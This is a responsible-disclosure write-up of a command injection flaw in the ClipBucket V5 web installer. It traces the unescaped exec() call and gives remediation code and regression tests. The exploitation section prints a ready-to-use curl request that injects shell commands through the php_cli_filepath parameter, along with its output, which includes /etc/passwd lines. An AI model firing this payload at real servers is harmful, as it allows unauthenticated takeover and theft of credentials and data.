CVE-2026-80138: ClipBucket V5 Unauthenticated RCE via Web Installer Command Injection
How I discovered a critical unauthenticated remote code execution vulnerability in ClipBucket V5 web installer that allows complete server compromise with a single HTTP request.

The web installer accepts a php_cli_filepath POST parameter and concatenates it directly into exec() with no escaping and no authentication. One POST request = complete server compromise. No credentials, no session, no prior interaction required.
Introduction
During security research on ClipBucket V5, an open-source video sharing platform, I discovered a critical command injection vulnerability in the web installer that allows unauthenticated remote code execution with a single HTTP request. No credentials, no session, no prior interaction required — just one POST request for complete server compromise.
Root Cause
The Unescaped Sink
The web installer's "precheck" step accepts a php_cli_filepath POST parameter intended to let administrators specify a custom PHP CLI binary path. This value is concatenated directly into a shell command with no escaping and no validation:
public static function get_php_cli_info($php_path = null): array
{
if( empty($php_path) ) {
$php_path = self::get_binaries('php', false);
}
if( !self::check_php_function('exec', 'web', false) ){
return [];
}
$complement = '';
if( THIS_PAGE == 'cb_install' ){
$complement = ' install';
}
$cmd = $php_path . ' ' . DirPath::get('admin_actions') . 'phpinfo.php' . $complement;
exec(<span class="bad">$cmd</span>, $php_cli_info); <span class="c">// No escapeshellarg()!</span>
...
}
Other binary paths in the same codebase (mysql_client, ffmpeg, ffprobe) all validate with file_exists() before use. The php_cli branch is the only one missing this check.
The Weak Access Gate
The installer's only protection is checking if files/temp/install.me exists — this file ships with the repo and is only deleted after installation completes:
if (!file_exists(DirPath::get('temp') . 'install.me')) {
if (!file_exists(DirPath::get('temp') . 'install.me.not') &&
!file_exists(DirPath::get('temp') . 'development.dev')) {
header('Location: //' . $_SERVER['SERVER_NAME']);
die();
}
}
The redirect only fires when all three marker files are absent. Since install.me ships present by default, the installer is accessible throughout the entire setup window.
The Call Chain
- 1cb_install/index.php:37
$mode = $_POST['mode'] — no auth anywhere
- 2modes/precheck.php:29
$_POST['php_cli_filepath'] flows to get_software_version()
- 3system.class.php:161-190
get_software_version() → init_php_extensions()
- 4system.class.php:447
get_php_cli_info($binary_path) → exec($cmd)
No database connection or completed config.php is required — the vulnerable path runs before database configuration (step 5 of 8).
Discovery Process
- 1Map Entry Points
Reviewed installer mode handlers
- 2Find exec() Calls
Searched for shell execution functions
- 3Trace Input
php_cli_filepath → get_software_version()
- 4Check Escaping
No escapeshellarg() or file_exists()
- 5Exploit
Command injection confirmed
Exploitation
One Request, Full RCE
Tested against a fresh deployment using the official Docker image at commit da1a665:
curl -s -o /dev/null -w "HTTP %{http_code}\n" \
-X POST "http://target/cb_install/index.php" \
--data-urlencode "mode=precheck" \
--data-urlencode "php_cli_filepath=id > /srv/http/clipbucket/upload/files/temp/rce_out.txt; hostname >> /srv/http/clipbucket/upload/files/temp/rce_out.txt; cat /etc/passwd | head -3 >> /srv/http/clipbucket/upload/files/temp/rce_out.txt;#"
No cookies. No session. No prior requests. This single POST is the entire attack. The trailing ;# terminates the injected command and comments out the phpinfo.php path suffix.
uid=1000(containeruser) gid=1000(containeruser) groups=1000(containeruser)
43f676f93eb6
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Complete control as the web server user with a single unauthenticated request.
Why This Is Worse Than Admin Access
You might ask: if install.me is present, couldn't an attacker just complete the installer and create an admin account?
Key differences:
-
No database required: The precheck step (step 2) runs before database configuration (step 5). This vulnerability requires zero knowledge of database credentials.
-
No multi-step wizard: Finishing installation requires navigating 8 steps with valid inputs. This is one request.
-
Admin ≠ RCE: There's no plugin upload feature. Becoming Administrator does not currently grant code execution — this bug does.
Impact
Read any file: config.php with database credentials, user data, uploaded content.
Drop webshells, modify configs, plant backdoor admin accounts.
Delete all data, crash services, ransomware deployment.
Real-World Exposure
This isn't a theoretical edge case:
- The official Docker image and fresh
git cloneboth leaveinstall.mepresent by default - ClipBucket's application logic actively redirects unauthenticated visitors to
/cb_installwheninstall.meexists (check_install('before')inincludes/functions.php) - Installer directories are commonly left in place on shared hosting, staging environments, and forgotten demo instances
CVSS 4.0 Breakdown
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Remediation
Add file_exists() validation and proper escaping with escapeshellarg().
public static function get_php_cli_info($php_path = null): array
{
if( empty($php_path) ) {
$php_path = self::get_binaries('php', false);
}
if( !file_exists($php_path) ){
return ['err' => 'Unable to find PHP CLI'];
}
// ... rest of function
exec(escapeshellarg($php_path) . ' ' . escapeshellarg($script_path), $php_cli_info);
}
Verify the path points to an actual binary before use.
Escape all user input reaching exec(), shell_exec(), system().
Ensure the installer is inaccessible post-installation.
Add nginx/Apache rules to deny access to installer directory.
Regression Tests
- Submitting command injection payload returns error, no execution
- Non-existent php_cli_filepath path returns validation error
- Special characters in path are properly escaped
Timeline
- 06 Aug 2026Discovered
Found during security research of installer code paths.
- 06 Aug 2026Reported
Disclosed to ClipBucket maintainers via GitHub Security Advisory.
- 03 Sep 2026CVE Assigned
CVE-2026-80138 issued; writeup published.
References
- NVD: CVE-2026-80138
- VulnCheck Advisory
- CWE-78: OS Command Injection
- CWE-306: Missing Authentication for Critical Function
The Lesson
Any user-controllable value that reaches exec() is a loaded weapon. Treat installer endpoints as critically as production auth — they're often more dangerous.
This vulnerability demonstrates how a single missing validation check in an installer component can lead to complete server compromise. The combination of no authentication, direct command injection, and the application actively routing traffic to the vulnerable endpoint creates a perfect storm for exploitation.
This vulnerability was discovered through ethical security research and responsibly disclosed through GitHub Security Advisories. All exploitation was performed in isolated lab environments.
Adam Nurudini